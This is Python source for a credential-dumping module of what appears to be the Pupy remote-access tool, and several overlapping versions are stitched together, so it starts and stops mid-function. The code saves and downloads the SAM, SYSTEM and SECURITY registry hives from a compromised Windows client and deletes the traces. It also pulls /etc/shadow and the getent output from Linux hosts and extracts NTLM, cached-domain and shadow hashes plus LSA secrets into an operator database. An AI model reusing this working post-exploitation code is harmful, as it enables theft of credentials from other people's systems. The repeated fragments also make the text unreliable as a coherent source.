HiveFileAddressSpace(os.path.join(self.rep, "SECURITY")) samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM")) # Print the results self.success("dumping cached domain passwords...") for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista): self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'), d.lower(), dn.lower())) hashes.append({ 'Login': u.lower(), 'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()), 'Category': 'MSCACHE hash', 'CredType': 'hash', 'uid': self.client.short_name() }) self.success("dumping LM and NT hashes...") bootkey = get_bootkey(sysaddr) hbootkey = get_hbootkey(samaddr, bootkey) for user in get_user_keys(samaddr): lmhash, nthash = get_user_hashes(user, hbootkey) if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int( user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) hashes.append({ 'Login': get_user_name(user), 'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')), 'Category': 'NTLM hash', 'CredType': 'hash', 'uid': self.client.short_name() }) db.add(hashes) self.success("Hashes stored on the database") self.success("dumping lsa secrets...") secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista) if not secrets: self.error( "unable to read LSA secrets, perhaps the hives are corrupted") return for key in secrets: self.log(key) self.log(self.dump(secrets[key], length=16)) # The End! (hurrah) self.success("dump was successfull!")
class CredDump(PupyModule): """ download the hives from a remote windows system and dump creds """ def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='hive', description=self.__doc__) def run(self, args): config = self.client.pupsrv.config or PupyConfig() self.db = Credentials(client=self.client.short_name(), config=self.config) self.rep = os.path.join(config.get_folder('creds'), self.client.short_name()) try: os.makedirs(self.rep) except Exception: pass if self.client.is_windows(): self.windows() elif self.client.is_linux(): self.linux() elif self.client.is_darwin(): self.darwin() def darwin(self): self.client.load_package("hashdump") hashes = self.client.conn.modules["hashdump"].hashdump() if hashes: self.db.add([{ 'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'CredType': 'hash' } for hsh in hashes ]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database") else: self.error('no hashes found') def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!','*','x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download( self.client.conn, '/etc/passwd', passwd ) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download( self.client.conn, '/etc/shadow', shadow ) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) rsubprocess = self.client.conn.modules.subprocess try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'): if not line: continue add_hashes(line) passwd.write(line+'\n') except Exception as e: self.error('getent passwd failed: {}: {}'.format(type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'): if not line: continue add_hashes(line) shadow.write(line+'\n') except Exception as e: self.error('getent shadow failed: {}: {}'.format(type(e), e.message)) self.db.add([{ 'Hash':':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'CredType': 'hash' } for hsh in hashes ]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database") def windows(self): # First, we download the hives... #detect windows version is_vista=False try: if self.client.conn.modules['sys'].getwindowsversion()[0] >=6: is_vista=True self.info("windows > vista detected") else: self.info("windows < vista detected") except: self.warning("windows version couldn't be determined. supposing vista=False") self.success("saving SYSTEM hives in %TEMP%...") cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM") if is_vista: cmds = ( x+' /y' for x in cmds ) for cmd in cmds: self.info("running %s..." % cmd) self.log(shell_exec(self.client, cmd)) self.success("hives saved!") remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%") self.info("downloading SYSTEM hive...") download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM")) self.info("downloading SECURITY hive...") download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY")) self.info("downloading SAM hive...") download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM")) self.success("hives downloaded to %s" % self.rep) # Cleanup self.success("cleaning up saves...") try: self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM")) self.success("saves deleted") except Exception as e: self.warning("error deleting temporary files: %s"%str(e)) # Time to run creddump! hashes = [] # HiveFileAddressSpace - Volatilty sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM")) secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY")) samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM")) # Print the results self.success("dumping cached domain passwords...") for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista): self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'), d.lower(), dn.lower())) hashes.append({ 'Login': u.lower(), 'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()), 'Category': 'MSCACHE hash', 'CredType': 'hash' }) self.success("dumping LM and NT hashes...") bootkey = get_bootkey(sysaddr) hbootkey = get_hbootkey(samaddr,bootkey) for user in get_user_keys(samaddr): lmhash, nthash = get_user_hashes(user,hbootkey) if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) hashes.append({ 'Login': get_user_name(user), 'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')), 'Category': 'NTLM hash', 'CredType': 'hash' }) self.db.add(hashes) self.success("Hashes stored on the database") self.success("dumping lsa secrets...") secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista) if not secrets: self.error("unable to read LSA secrets, perhaps the hives are corrupted") return for key in secrets: self.log(key) self.log(self.dump(secrets[key], length=16)) # The End! (hurrah) self.success("dump was successfull!") def dump(self, src, length=8): FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) N=0; result='' while src: s,src = src[:length],src[length:] hexa = ' '.join(["%02X"%ord(x) for x in s]) s = s.translate(FILTER) result += "%04X %-*s %s\n" % (N, length*3, hexa, s) N+=length return result
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!', '*', 'x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download(self.client.conn, '/etc/passwd', passwd) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download(self.client.conn, '/etc/shadow', shadow) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) self.client.load_package('pupyutils.safepopen') sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in sopen(['getent', 'passwd']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent passwd failed: {}: {}'.format( type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in sopen(['getent', 'shadow']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent shadow failed: {}: {}'.format( type(e), e.message)) db = Credentials() db.add([{ 'Hash': ':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'uid': self.client.short_name(), 'CredType': 'hash' } for hsh in hashes]) for hsh in hashes: self.log('{}'.format(hsh))